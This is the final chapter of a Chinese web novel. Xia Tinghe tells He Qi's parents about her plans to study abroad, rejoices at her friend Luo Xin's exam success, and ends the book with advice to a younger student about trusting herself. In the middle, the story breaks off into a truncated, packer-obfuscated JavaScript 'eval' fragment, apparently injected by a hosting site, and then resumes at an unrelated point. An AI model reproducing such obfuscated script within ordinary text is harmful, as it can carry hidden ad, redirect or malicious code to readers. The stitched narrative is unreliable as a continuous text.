夏汀禾还真以为他是这么想的。 直到晚上在贺祁的卧室里被翻来覆去地弄了好几次，夏汀禾才明白这人根本就是在说瞎话。 次日，贺祁的父母回了家，夏汀禾已经不好意思见人了。 可惜贺祁学校里有事，先走了，家里只剩下了她一个，她不得不面对。 贺祁的父母给她张罗了一桌子的美食，餐上又不断地给她夹菜。 他们问起夏汀禾以后的规划，夏汀禾说了是出国留学。 “那贺祁呢？他也跟你一块儿去？” “不会。”夏汀禾摇了摇头，“他是打算继续在A大读研。” 贺祁本来是想无条件地跟着她去的，但是夏汀禾没答应，让他自己考虑清楚。 从大一开始，贺祁就跟着现在的导师做科研了，研究的方向、和导师的相处模式等等，无论是哪一方面，留下来，都会更加熟悉些。 “这不就成了异地恋吗？”贺母隐隐有些担心。 夏汀禾安慰她说：“没事的。我和贺祁会经常联系，放假了也会见面的。” 看他们这么相信彼此，贺父贺母便也没再多说。 - 大三一晃眼就过去了，考了完试，竞赛也赢得了结果，夏汀禾便开始了着手准备留学申请的材料。 飞速地度过了一学期，除了自己打磨了大半年的论文被SCI收录了外，夏汀禾最惊喜的消息便是罗欣的成人高考也过了。 出成绩的当天，罗欣还闷闷不乐地和她打电话，说要是失败了，感觉最对不起的就是她这个老师了。 夏汀禾为了辅导她的数学，又重新跟着做了一遍高中的题。 罗欣一直记在心上。 “没关系。”夏汀禾和她说：“不会失败的。就算没考上，那也只是不凑巧，以后总有机会的。” 不知道是不是因为这一年来得到的幸福太多，夏汀禾意外地发现自己看待很多事情的太多有了改变。 失败或是成功没那么重要，都没放弃呢，谁能说最后是什么样的？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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好像这一刻才意识到，这里是个中转站一样的地方，无数的人群进来、离开，奔赴各自的目的地。 她在这时候收到学妹的消息，一是感谢她之前竞赛的帮助，二是祝贺她拿到了心仪院校的offer，祝她一切顺利。 夏汀禾回了一句谢谢。 学妹又不好意思地说：【学姐，你可以给我一些经验吗？】 夏汀禾问：【什么经验？】 学妹：【就是你读完大学后，觉得最深刻的感悟是什么？】 被她这么一问，夏汀禾还真有点不知道该怎么回答。 这时候突然听到有人叫她的名字。 “夏汀禾。” 她抬头一看，贺祁正从人群中朝她走了过来。 眼前忽地飘过很多画面，关于祝朝月的、蔺妤的、罗欣的……还有她自己的。 夏汀禾顿时有了灵感，回了学妹。 “进入大学，你会慢慢开始感觉到和高中不一样。你会迷茫，会变得不确定，会开始反思自己的人生有没有意义。” “你开始听到很多来自外界的声音，否定的、反驳的或者是厌恶的，看到不同人脚步匆匆地赶往各自的目的地。你可能会在无数个路口犹豫不决，不知道该往哪走。” “但请你记住，无论何时，都不要慌张。” “要无条件地相信、坚定地选择自己。” “这就是你的方向。” ——全文完——